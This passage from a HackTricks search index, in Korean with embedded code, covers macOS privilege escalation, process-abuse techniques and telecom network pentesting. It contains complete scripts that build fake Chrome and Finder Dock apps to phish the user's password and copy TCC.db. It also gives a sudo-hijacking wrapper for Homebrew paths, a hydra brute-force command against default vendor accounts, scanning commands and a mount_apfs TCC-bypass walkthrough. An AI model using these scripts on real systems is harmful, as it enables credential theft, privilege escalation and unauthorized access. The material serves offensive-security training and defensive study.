영향을 미치는 권한 상승에 대한 대부분의 트릭은 MacOS에도 영향을 미칩니다. 따라서 다음을 참조하세요: Linux Privilege Escalation","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » 리눅스 권한 상승","id":"2316","title":"리눅스 권한 상승"},"2317":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » 사용자 상호작용","id":"2317","title":"사용자 상호작용"},"2318":{"body":"원래 Sudo 하이재킹 기법은 리눅스 권한 상승 게시물에서 찾을 수 있습니다 . 그러나 macOS는 사용자가 **sudo**를 실행할 때 사용자의 **PATH**를 유지 합니다. 이는 이 공격을 달성하는 또 다른 방법이 피해자가 sudo를 실행할 때 여전히 실행할 다른 바이너리 를 하이재킹 하는 것임을 의미합니다: bash # Let\'s hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH\\ncat > /opt/homebrew/bin/ls < /tmp/privesc\\nfi\\n/bin/ls \\"\\\\$@\\"\\nEOF\\nchmod +x /opt/homebrew/bin/ls # victim\\nsudo ls 사용자가 터미널을 사용하는 경우 Homebrew가 설치되어 있을 가능성이 높습니다 . 따라서 **/opt/homebrew/bin**에서 바이너리를 탈취할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » Sudo 하이재킹","id":"2318","title":"Sudo 하이재킹"},"2319":{"body":"일부 소셜 엔지니어링 을 사용하여 Dock에서 예를 들어 Google Chrome 을 사칭 하고 실제로 자신의 스크립트를 실행할 수 있습니다: Chrome Impersonation\\nFinder Impersonation 몇 가지 제안: Dock에서 Chrome이 있는지 확인하고, 그런 경우 해당 항목을 제거 하고 Dock 배열의 같은 위치에 가짜 Chrome 항목을 추가 하세요. bash #!/bin/sh # THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)\\n# If you want to removed granted TCC permissions: > delete from access where client LIKE \'%Chrome%\'; rm -rf /tmp/Google\\\\ Chrome.app/ 2>/dev/null # Create App structure\\nmkdir -p /tmp/Google\\\\ Chrome.app/Contents/MacOS\\nmkdir -p /tmp/Google\\\\ Chrome.app/Contents/Resources # Payload to execute\\ncat > /tmp/Google\\\\ Chrome.app/Contents/MacOS/Google\\\\ Chrome.c <\\n#include \\n#include int main() {\\nchar *cmd = \\"open /Applications/Google\\\\\\\\\\\\\\\\ Chrome.app & \\"\\n\\"sleep 2; \\"\\n\\"osascript -e \'tell application \\\\\\"Finder\\\\\\"\' -e \'set homeFolder to path to home folder as string\' -e \'set sourceFile to POSIX file \\\\\\"/Library/Application Support/com.apple.TCC/TCC.db\\\\\\" as alias\' -e \'set targetFolder to POSIX file \\\\\\"/tmp\\\\\\" as alias\' -e \'duplicate file sourceFile to targetFolder with replacing\' -e \'end tell\'; \\"\\n\\"PASSWORD=\\\\$(osascript -e \'Tell application \\\\\\"Finder\\\\\\"\' -e \'Activate\' -e \'set userPassword to text returned of (display dialog \\\\\\"Enter your password to update Google Chrome:\\\\\\" default answer \\\\\\"\\\\\\" with hidden answer buttons {\\\\\\"OK\\\\\\"} default button 1 with icon file \\\\\\"Applications:Google Chrome.app:Contents:Resources:app.icns\\\\\\")\' -e \'end tell\' -e \'return userPassword\'); \\"\\n\\"echo \\\\$PASSWORD > /tmp/passwd.txt\\";\\nsystem(cmd);\\nreturn 0;\\n}\\nEOF gcc /tmp/Google\\\\ Chrome.app/Contents/MacOS/Google\\\\ Chrome.c -o /tmp/Google\\\\ Chrome.app/Contents/MacOS/Google\\\\ Chrome\\nrm -rf /tmp/Google\\\\ Chrome.app/Contents/MacOS/Google\\\\ Chrome.c chmod +x /tmp/Google\\\\ Chrome.app/Contents/MacOS/Google\\\\ Chrome # Info.plist\\ncat << EOF > /tmp/Google\\\\ Chrome.app/Contents/Info.plist\\n\\n\\n\\n\\nCFBundleExecutable\\nGoogle Chrome\\nCFBundleIdentifier\\ncom.google.Chrome\\nCFBundleName\\nGoogle Chrome\\nCFBundleVersion\\n1.0\\nCFBundleShortVersionString\\n1.0\\nCFBundleInfoDictionaryVersion\\n6.0\\nCFBundlePackageType\\nAPPL\\nCFBundleIconFile\\napp\\n\\n\\nEOF # Copy icon from Google Chrome\\ncp /Applications/Google\\\\ Chrome.app/Contents/Resources/app.icns /tmp/Google\\\\ Chrome.app/Contents/Resources/app.icns # Add to Dock\\ndefaults write com.apple.dock persistent-apps -array-add \'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0\'\\nsleep 0.1\\nkillall Dock 몇 가지 제안: 당신은 Finder를 Dock에서 제거할 수 없으므로 , Dock에 추가할 경우 가짜 Finder를 실제 Finder 바로 옆에 두는 것이 좋습니다. 이를 위해 Dock 배열의 시작 부분에 가짜 Finder 항목을 추가해야 합니다. 또 다른 옵션은 Dock에 배치하지 않고 그냥 여는 것입니다. \\"Finder가 Finder를 제어하도록 요청하고 있습니다\\"는 그리 이상하지 않습니다. 비밀번호를 묻는 끔찍한 상자 없이 루트로 상승 하는 또 다른 옵션은 Finder가 실제로 권한 있는 작업을 수행하기 위해 비밀번호를 요청하도록 만드는 것입니다: Finder에게 **/etc/pam.d**에 새로운 sudo 파일을 복사하도록 요청합니다 (비밀번호를 요청하는 프롬프트는 \\"Finder가 sudo를 복사하고 싶어합니다\\"를 나타낼 것입니다). Finder에게 새로운 Authorization Plugin 을 복사하도록 요청합니다 (파일 이름을 제어할 수 있으므로 비밀번호를 요청하는 프롬프트는 \\"Finder가 Finder.bundle을 복사하고 싶어합니다\\"를 나타낼 것입니다). bash #!/bin/sh # THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)\\n# If you want to removed granted TCC permissions: > delete from access where client LIKE \'%finder%\'; rm -rf /tmp/Finder.app/ 2>/dev/null # Create App structure\\nmkdir -p /tmp/Finder.app/Contents/MacOS\\nmkdir -p /tmp/Finder.app/Contents/Resources # Payload to execute\\ncat > /tmp/Finder.app/Contents/MacOS/Finder.c <\\n#include \\n#include int main() {\\nchar *cmd = \\"open /System/Library/CoreServices/Finder.app & \\"\\n\\"sleep 2; \\"\\n\\"osascript -e \'tell application \\\\\\"Finder\\\\\\"\' -e \'set homeFolder to path to home folder as string\' -e \'set sourceFile to POSIX file \\\\\\"/Library/Application Support/com.apple.TCC/TCC.db\\\\\\" as alias\' -e \'set targetFolder to POSIX file \\\\\\"/tmp\\\\\\" as alias\' -e \'duplicate file sourceFile to targetFolder with replacing\' -e \'end tell\'; \\"\\n\\"PASSWORD=\\\\$(osascript -e \'Tell application \\\\\\"Finder\\\\\\"\' -e \'Activate\' -e \'set userPassword to text returned of (display dialog \\\\\\"Finder needs to update some components. Enter your password:\\\\\\" default answer \\\\\\"\\\\\\" with hidden answer buttons {\\\\\\"OK\\\\\\"} default button 1 with icon file \\\\\\"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\\\\\\")\' -e \'end tell\' -e \'return userPassword\'); \\"\\n\\"echo \\\\$PASSWORD > /tmp/passwd.txt\\";\\nsystem(cmd);\\nreturn 0;\\n}\\nEOF gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder\\nrm -rf /tmp/Finder.app/Contents/MacOS/Finder.c chmod +x /tmp/Finder.app/Contents/MacOS/Finder # Info.plist\\ncat << EOF > /tmp/Finder.app/Contents/Info.plist\\n\\n\\n\\n\\nCFBundleExecutable\\nFinder\\nCFBundleIdentifier\\ncom.apple.finder\\nCFBundleName\\nFinder\\nCFBundleVersion\\n1.0\\nCFBundleShortVersionString\\n1.0\\nCFBundleInfoDictionaryVersion\\n6.0\\nCFBundlePackageType\\nAPPL\\nCFBundleIconFile\\napp\\n\\n\\nEOF # Copy icon from Finder\\ncp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns # Add to Dock\\ndefaults write com.apple.dock persistent-apps -array-add \'tile-datafile-data_CFURLString/tmp/Finder.app_CFURLStringType0\'\\nsleep 0.1\\nkillall Dock","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » Dock 사칭","id":"2319","title":"Dock 사칭"},"232":{"body":"놀랍게도 많은 벤더 네트워크 엘리먼트가 root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 같은 하드코드된 SSH/Telnet 사용자 계정과 함께 출하됩니다. 전용 wordlist는 brute-force 성공률을 극적으로 높입니다: bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt 장치가 management VRF만 노출하고 있다면, 먼저 jump host를 통해 pivot하세요(아래 «SGSN Emu Tunnel» 섹션 참조).","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 1.1 Default OSS / NE Accounts","id":"232","title":"1.1 Default OSS / NE Accounts"},"2320":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » TCC - 루트 권한 상승","id":"2320","title":"TCC - 루트 권한 상승"},"2321":{"body":"모든 사용자 (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 모든 파일에 접근 할 수 있습니다. 필요한 유일한 특권 은 사용되는 애플리케이션(예: Terminal)이 전체 디스크 접근 (FDA) 권한(kTCCServiceSystemPolicyAllfiles)을 가져야 하며, 이는 관리자가 부여해야 합니다. bash # Create snapshot\\ntmutil localsnapshot # List snapshots\\ntmutil listlocalsnapshots /\\nSnapshots for disk /:\\ncom.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it\\ncd /tmp # I didn it from this folder\\nmkdir /tmp/snap # Mount it, \\"noowners\\" will mount the folder so the current user can access everything\\n/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it\\nls /tmp/snap/Users/admin_user # This will work 더 자세한 설명은 원본 보고서에서 확인할 수 있습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승","id":"2321","title":"CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승"},"2322":{"body":"이는 권한 상승에 유용할 수 있습니다: macOS Sensitive Locations & Interesting Daemons tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » 민감한 정보","id":"2322","title":"민감한 정보"},"2323":{"body":"Reading time: 12 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Process Abuse","id":"2323","title":"macOS Process Abuse"},"2324":{"body":"프로세스는 실행 중인 실행 파일의 인스턴스이지만, 프로세스는 코드를 실행하지 않고, 이들은 스레드입니다. 따라서 프로세스는 실행 중인 스레드를 위한 컨테이너일 뿐입니다 메모리, 설명자, 포트, 권한 등을 제공합니다... 전통적으로, 프로세스는 **fork**를 호출하여 다른 프로세스 내에서 시작되었으며, 이는 현재 프로세스의 정확한 복사본을 생성하고, 자식 프로세스 는 일반적으로 **execve**를 호출하여 새로운 실행 파일을 로드하고 실행합니다. 그런 다음, **vfork**가 도입되어 메모리 복사 없이 이 프로세스를 더 빠르게 만들었습니다. 그 후 **posix_spawn**이 도입되어 **vfork**와 **execve**를 하나의 호출로 결합하고 플래그를 수용합니다: POSIX_SPAWN_RESETIDS: 유효한 ID를 실제 ID로 재설정 POSIX_SPAWN_SETPGROUP: 프로세스 그룹 소속 설정 POSUX_SPAWN_SETSIGDEF: 신호 기본 동작 설정 POSIX_SPAWN_SETSIGMASK: 신호 마스크 설정 POSIX_SPAWN_SETEXEC: 동일한 프로세스에서 exec (더 많은 옵션이 있는 execve와 유사) POSIX_SPAWN_START_SUSPENDED: 시작 시 일시 중지 _POSIX_SPAWN_DISABLE_ASLR: ASLR 없이 시작 _POSIX_SPAWN_NANO_ALLOCATOR: libmalloc의 Nano 할당기 사용 _POSIX_SPAWN_ALLOW_DATA_EXEC: 데이터 세그먼트에서 rwx 허용 POSIX_SPAWN_CLOEXEC_DEFAULT: exec(2)에서 기본적으로 모든 파일 설명자 닫기 _POSIX_SPAWN_HIGH_BITS_ASLR: ASLR 슬라이드의 높은 비트 무작위화 게다가, posix_spawn은 생성된 프로세스의 일부 측면을 제어하는 posix_spawnattr 배열을 지정할 수 있으며, 설명자의 상태를 수정하기 위해 **posix_spawn_file_actions**를 사용할 수 있습니다. 프로세스가 종료되면 부모 프로세스에 반환 코드를 전송 합니다 (부모가 종료된 경우 새로운 부모는 PID 1) 신호 SIGCHLD와 함께. 부모는 wait4() 또는 waitid()를 호출하여 이 값을 가져와야 하며, 그때까지 자식은 좀비 상태에 머물며 여전히 나열되지만 자원을 소모하지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Processes Basic Information","id":"2324","title":"Processes Basic Information"},"2325":{"body":"PID, 프로세스 식별자는 고유한 프로세스를 식별합니다. XNU에서 PIDs 는 64비트 로 단조롭게 증가하며 절대 랩핑되지 않습니다 (남용 방지를 위해).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » PIDs","id":"2325","title":"PIDs"},"2326":{"body":"프로세스 는 그룹 에 삽입되어 처리하기 쉽게 만들 수 있습니다. 예를 들어, 셸 스크립트의 명령은 동일한 프로세스 그룹에 있으므로 kill을 사용하여 함께 신호를 보낼 수 있습니다 . 또한 세션에 프로세스를 그룹화 할 수 있습니다. 프로세스가 세션을 시작하면 (setsid(2)), 자식 프로세스는 자신의 세션을 시작하지 않는 한 세션 내에 설정됩니다. Coalition은 Darwin에서 프로세스를 그룹화하는 또 다른 방법입니다. 코얼리션에 가입한 프로세스는 풀 리소스에 접근할 수 있으며, 원장 공유 또는 Jetsam에 직면할 수 있습니다. 코얼리션은 다양한 역할을 가집니다: 리더, XPC 서비스, 확장.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Process Groups, Sessions & Coalations","id":"2326","title":"Process Groups, Sessions & Coalations"},"2327":{"body":"각 프로세스는 시스템에서 권한을 식별하는 자격 증명 을 보유합니다. 각 프로세스는 하나의 기본 uid와 하나의 기본 gid를 가지며 (여러 그룹에 속할 수 있음). 이진 파일이 setuid/setgid 비트를 가지고 있다면 사용자 및 그룹 ID를 변경할 수도 있습니다. 새로운 uid/gid를 설정하기 위한 여러 함수가 있습니다. 시스템 호출 **persona**는 대체 자격 증명 세트를 제공합니다. 페르소나를 채택하면 uid, gid 및 그룹 멤버십을 한 번에 가정합니다. 소스 코드 에서 구조체를 찾을 수 있습니다: c struct kpersona_info { uint32_t persona_info_version;\\nuid_t persona_id; /* overlaps with UID */\\nint persona_type;\\ngid_t persona_gid;\\nuint32_t persona_ngroups;\\ngid_t persona_groups[NGROUPS];\\nuid_t persona_gmuid;\\nchar persona_name[MAXLOGNAME + 1]; /* TODO: MAC policies?! */\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Credentials & Personae","id":"2327","title":"Credentials & Personae"},"2328":{"body":"POSIX 스레드 (pthreads): macOS는 C/C++의 표준 스레딩 API의 일부인 POSIX 스레드(pthreads)를 지원합니다. macOS에서 pthreads의 구현은 /usr/lib/system/libsystem_pthread.dylib에 있으며, 이는 공개적으로 사용 가능한 libpthread 프로젝트에서 가져온 것입니다. 이 라이브러리는 스레드를 생성하고 관리하는 데 필요한 기능을 제공합니다. 스레드 생성: pthread_create() 함수는 새로운 스레드를 생성하는 데 사용됩니다. 내부적으로 이 함수는 XNU 커널(즉, macOS가 기반으로 하는 커널)에 특정한 저수준 시스템 호출인 bsdthread_create()를 호출합니다. 이 시스템 호출은 스레드 동작을 지정하는 pthread_attr(속성)에서 파생된 다양한 플래그를 사용합니다. 여기에는 스케줄링 정책과 스택 크기가 포함됩니다. 기본 스택 크기: 새로운 스레드의 기본 스택 크기는 512 KB로, 일반적인 작업에는 충분하지만 더 많은 공간이 필요할 경우 스레드 속성을 통해 조정할 수 있습니다. 스레드 초기화: __pthread_init() 함수는 스레드 설정 중에 중요하며, env[] 인수를 사용하여 스택의 위치와 크기에 대한 세부 정보를 포함할 수 있는 환경 변수를 구문 분석합니다. macOS의 스레드 종료 스레드 종료: 스레드는 일반적으로 pthread_exit()를 호출하여 종료됩니다. 이 함수는 스레드가 깔끔하게 종료되도록 하며, 필요한 정리를 수행하고 스레드가 모든 조인자에게 반환 값을 보낼 수 있도록 합니다. 스레드 정리: pthread_exit()를 호출하면 pthread_terminate() 함수가 호출되어 모든 관련 스레드 구조를 제거합니다. 이 함수는 Mach 스레드 포트를 해제하고(Mach는 XNU 커널의 통신 하위 시스템) 스레드와 관련된 커널 수준 구조를 제거하는 시스템 호출인 bsdthread_terminate를 호출합니다. 동기화 메커니즘 공유 리소스에 대한 접근을 관리하고 경쟁 조건을 피하기 위해 macOS는 여러 동기화 원시를 제공합니다. 이는 데이터 무결성과 시스템 안정성을 보장하기 위해 다중 스레딩 환경에서 중요합니다: 뮤텍스: 일반 뮤텍스 (서명: 0x4D555458): 메모리 풋프린트가 60바이트(뮤텍스 56바이트 및 서명 4바이트)인 표준 뮤텍스입니다. 빠른 뮤텍스 (서명: 0x4d55545A): 일반 뮤텍스와 유사하지만 더 빠른 작업을 위해 최적화된 뮤텍스이며, 크기는 60바이트입니다. 조건 변수: 특정 조건이 발생할 때까지 대기하는 데 사용되며, 크기는 44바이트(40바이트 및 4바이트 서명 포함)입니다. 조건 변수 속성 (서명: 0x434e4441): 조건 변수의 구성 속성으로, 크기는 12바이트입니다. 한 번 변수 (서명: 0x4f4e4345): 초기화 코드가 한 번만 실행되도록 보장합니다. 크기는 12바이트입니다. 읽기-쓰기 잠금: 여러 독자가 동시에 또는 한 명의 작성자가 동시에 접근할 수 있도록 하여 공유 데이터에 대한 효율적인 접근을 촉진합니다. 읽기 쓰기 잠금 (서명: 0x52574c4b): 크기는 196바이트입니다. 읽기 쓰기 잠금 속성 (서명: 0x52574c41): 읽기-쓰기 잠금의 속성으로, 크기는 20바이트입니다. tip 이러한 객체의 마지막 4바이트는 오버플로우를 감지하는 데 사용됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 스레드 기본 정보","id":"2328","title":"스레드 기본 정보"},"2329":{"body":"**스레드 로컬 변수 (TLV)**는 Mach-O 파일(즉, macOS의 실행 파일 형식)과 관련하여 다중 스레드 애플리케이션에서 각 스레드 에 특정한 변수를 선언하는 데 사용됩니다. 이는 각 스레드가 변수의 별도 인스턴스를 가지도록 하여 충돌을 피하고 뮤텍스와 같은 명시적 동기화 메커니즘 없이 데이터 무결성을 유지할 수 있는 방법을 제공합니다. C 및 관련 언어에서는 __thread 키워드를 사용하여 스레드 로컬 변수를 선언할 수 있습니다. 다음은 예제에서 작동하는 방식입니다: c cCopy code__thread int tlv_var; void main (int argc, char **argv){\\ntlv_var = 10;\\n} 이 스니펫은 tlv_var를 스레드 로컬 변수로 정의합니다. 이 코드를 실행하는 각 스레드는 자신의 tlv_var를 가지며, 한 스레드가 tlv_var에 가한 변경은 다른 스레드의 tlv_var에 영향을 미치지 않습니다. Mach-O 바이너리에서 스레드 로컬 변수와 관련된 데이터는 특정 섹션으로 구성됩니다: __DATA.__thread_vars : 이 섹션은 스레드 로컬 변수에 대한 메타데이터를 포함하며, 변수의 유형 및 초기화 상태와 같은 정보를 담고 있습니다. __DATA.__thread_bss : 이 섹션은 명시적으로 초기화되지 않은 스레드 로컬 변수에 사용됩니다. 이는 제로 초기화된 데이터를 위해 따로 설정된 메모리의 일부입니다. Mach-O는 스레드가 종료될 때 스레드 로컬 변수를 관리하기 위해 **tlv_atexit**라는 특정 API를 제공합니다. 이 API를 사용하면 스레드가 종료될 때 스레드 로컬 데이터를 정리하는 소멸자 를 등록할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 스레드 로컬 변수 (TLV)","id":"2329","title":"스레드 로컬 변수 (TLV)"},"233":{"body":"대부분의 GRX 사업자는 백본 전반에 걸쳐 ICMP echo 를 여전히 허용합니다. masscan의 내장 gtpv1 UDP 프로브를 결합하여 GTP-C 리스너를 빠르게 매핑하세요: bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 1.2 Host Discovery inside GRX/IPX","id":"233","title":"1.2 Host Discovery inside GRX/IPX"},"2330":{"body":"스레드 우선순위를 이해하려면 운영 체제가 어떤 스레드를 언제 실행할지를 결정하는 방식을 살펴봐야 합니다. 이 결정은 각 스레드에 할당된 우선순위 수준에 의해 영향을 받습니다. macOS 및 유닉스 계열 시스템에서는 nice, renice, 및 서비스 품질(QoS) 클래스와 같은 개념을 사용하여 이를 처리합니다. Nice 및 Renice Nice: 프로세스의 nice 값은 우선순위에 영향을 미치는 숫자입니다. 모든 프로세스는 -20(가장 높은 우선순위)에서 19(가장 낮은 우선순위)까지의 nice 값을 가집니다. 프로세스가 생성될 때 기본 nice 값은 일반적으로 0입니다. 낮은 nice 값( -20에 가까운)은 프로세스를 더 \\"이기적\\"으로 만들어, 더 높은 nice 값을 가진 다른 프로세스에 비해 더 많은 CPU 시간을 부여합니다. Renice: renice는 이미 실행 중인 프로세스의 nice 값을 변경하는 데 사용되는 명령입니다. 이는 프로세스의 우선순위를 동적으로 조정하는 데 사용될 수 있으며, 새로운 nice 값에 따라 CPU 시간 할당을 증가시키거나 감소시킬 수 있습니다. 예를 들어, 프로세스가 일시적으로 더 많은 CPU 리소스가 필요하다면 renice를 사용하여 nice 값을 낮출 수 있습니다. 서비스 품질(QoS) 클래스 QoS 클래스는 특히 **Grand Central Dispatch (GCD)**를 지원하는 macOS와 같은 시스템에서 스레드 우선순위를 처리하는 보다 현대적인 접근 방식입니다. QoS 클래스는 개발자가 작업의 중요성이나 긴급성에 따라 다양한 수준으로 작업을 분류 할 수 있도록 합니다. macOS는 이러한 QoS 클래스를 기반으로 스레드 우선순위를 자동으로 관리합니다: 사용자 상호작용: 이 클래스는 현재 사용자와 상호작용 중이거나 즉각적인 결과가 필요한 작업을 위한 것입니다. 이러한 작업은 인터페이스를 반응적으로 유지하기 위해 가장 높은 우선순위를 부여받습니다(예: 애니메이션 또는 이벤트 처리). 사용자 시작: 사용자가 시작하고 즉각적인 결과를 기대하는 작업으로, 문서를 열거나 계산이 필요한 버튼을 클릭하는 것과 같은 작업입니다. 이들은 높은 우선순위를 가지지만 사용자 상호작용보다는 낮습니다. 유틸리티: 이러한 작업은 장기 실행되며 일반적으로 진행 표시기를 표시합니다(예: 파일 다운로드, 데이터 가져오기). 이들은 사용자 시작 작업보다 우선순위가 낮으며 즉시 완료될 필요는 없습니다. 백그라운드: 이 클래스는 백그라운드에서 작동하며 사용자에게는 보이지 않는 작업을 위한 것입니다. 이러한 작업은 인덱싱, 동기화 또는 백업과 같은 작업일 수 있습니다. 이들은 가장 낮은 우선순위를 가지며 시스템 성능에 미치는 영향이 최소화됩니다. QoS 클래스를 사용하면 개발자는 정확한 우선순위 숫자를 관리할 필요가 없으며, 작업의 성격에 집중하고 시스템이 CPU 리소스를 최적화하도록 할 수 있습니다. 또한, 스레드 스케줄링 정책이 있으며, 이는 스케줄러가 고려할 스케줄링 매개변수 집합을 지정하는 흐름입니다. 이는 thread_policy_[set/get]를 사용하여 수행할 수 있습니다. 이는 경쟁 조건 공격에 유용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 스레드 우선순위","id":"2330","title":"스레드 우선순위"},"2331":{"body":"MacOS는 다른 운영 체제와 마찬가지로 프로세스가 상호작용하고, 통신하며, 데이터를 공유하는 다양한 방법과 메커니즘을 제공합니다. 이러한 기술은 효율적인 시스템 기능에 필수적이지만, 위협 행위자에 의해 악의적인 활동을 수행하는 데 남용될 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » MacOS 프로세스 남용","id":"2331","title":"MacOS 프로세스 남용"},"2332":{"body":"라이브러리 주입은 공격자가 프로세스가 악성 라이브러리를 로드하도록 강제하는 기술입니다. 주입된 후, 라이브러리는 대상 프로세스의 컨텍스트에서 실행되며, 공격자에게 프로세스와 동일한 권한과 접근을 제공합니다. macOS Library Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 라이브러리 주입","id":"2332","title":"라이브러리 주입"},"2333":{"body":"함수 후킹은 소프트웨어 코드 내에서 함수 호출 또는 메시지를 가로채는 것을 포함합니다. 함수를 후킹함으로써 공격자는 프로세스의 동작을 수정 하거나, 민감한 데이터를 관찰하거나, 실행 흐름을 제어할 수 있습니다. macOS Function Hooking","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 함수 후킹","id":"2333","title":"함수 후킹"},"2334":{"body":"프로세스 간 통신(IPC)은 별도의 프로세스가 데이터를 공유하고 교환하는 다양한 방법을 나타냅니다. IPC는 많은 합법적인 애플리케이션에 필수적이지만, 프로세스 격리를 무너뜨리거나 민감한 정보를 유출하거나 무단 작업을 수행하는 데 남용될 수 있습니다. macOS IPC - Inter Process Communication","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 프로세스 간 통신","id":"2334","title":"프로세스 간 통신"},"2335":{"body":"특정 환경 변수를 사용하여 실행된 Electron 애플리케이션은 프로세스 주입에 취약할 수 있습니다: macOS Electron Applications Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Electron 애플리케이션 주입","id":"2335","title":"Electron 애플리케이션 주입"},"2336":{"body":"--load-extension 및 --use-fake-ui-for-media-stream 플래그를 사용하여 브라우저 내 공격 을 수행할 수 있으며, 이를 통해 키 입력, 트래픽, 쿠키를 훔치고 페이지에 스크립트를 주입할 수 있습니다: macOS Chromium Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Chromium 주입","id":"2336","title":"Chromium 주입"},"2337":{"body":"NIB 파일은 사용자 인터페이스(UI) 요소 와 애플리케이션 내에서의 상호작용을 정의합니다. 그러나 이들은 임의의 명령을 실행 할 수 있으며, NIB 파일이 수정되면 이미 실행된 애플리케이션의 실행을 Gatekeeper가 막지 않습니다 . 따라서 이들은 임의의 프로그램이 임의의 명령을 실행하도록 만드는 데 사용될 수 있습니다: macOS Dirty NIB","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » 더러운 NIB","id":"2337","title":"더러운 NIB"},"2338":{"body":"특정 Java 기능(예: _JAVA_OPTS 환경 변수)을 남용하여 Java 애플리케이션이 임의의 코드/명령을 실행 하도록 만들 수 있습니다. macOS Java Applications Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Java 애플리케이션 주입","id":"2338","title":"Java 애플리케이션 주입"},"2339":{"body":".Net 디버깅 기능 을 남용하여 .Net 애플리케이션에 코드를 주입할 수 있습니다(이는 macOS 보호(런타임 강화)로 보호되지 않음). macOS .Net Applications Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » .Net 애플리케이션 주입","id":"2339","title":".Net 애플리케이션 주입"},"234":{"body":"다음 Go 도구는 GTP-C Create PDP Context Request 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 SGSN / MME 와 때로는 가입자가 방문한 PLMN을 알려줍니다. bash # Build\\nGOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical):\\n./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap 주요 플래그: --imsi 대상 가입자 IMSI --oper Home / HNI (MCC+MNC) -w raw 패킷을 pcap으로 기록 바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있습니다: pingtimeout = 3 // seconds before giving up\\npco = 0x218080\\ncommon_tcp_ports = \\"22,23,80,443,8080\\"","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 2. 가입자 열거 – cordscan","id":"234","title":"2. 가입자 열거 – cordscan"},"2340":{"body":"Perl 스크립트가 임의의 코드를 실행하도록 만드는 다양한 옵션을 확인하십시오: macOS Perl Applications Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Perl 주입","id":"2340","title":"Perl 주입"},"2341":{"body":"Ruby 환경 변수를 남용하여 임의의 스크립트가 임의의 코드를 실행하도록 만들 수 있습니다: macOS Ruby Applications Injection","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » Ruby 주입","id":"2341","title":"Ruby 주입"},"2342":{"body":"환경 변수 **PYTHONINSPECT**가 설정되면 Python 프로세스는 완료되면 Python CLI로 진입합니다. 또한 **PYTHONSTARTUP**을 사용하여 대화형 세션 시작 시 실행할 Python 스크립트를 지정할 수 있습니다. 그러나 **PYTHONINSPECT**가 대화형 세션을 생성할 때 PYTHONSTARTUP 스크립트는 실행되지 않습니다. PYTHONPATH 및 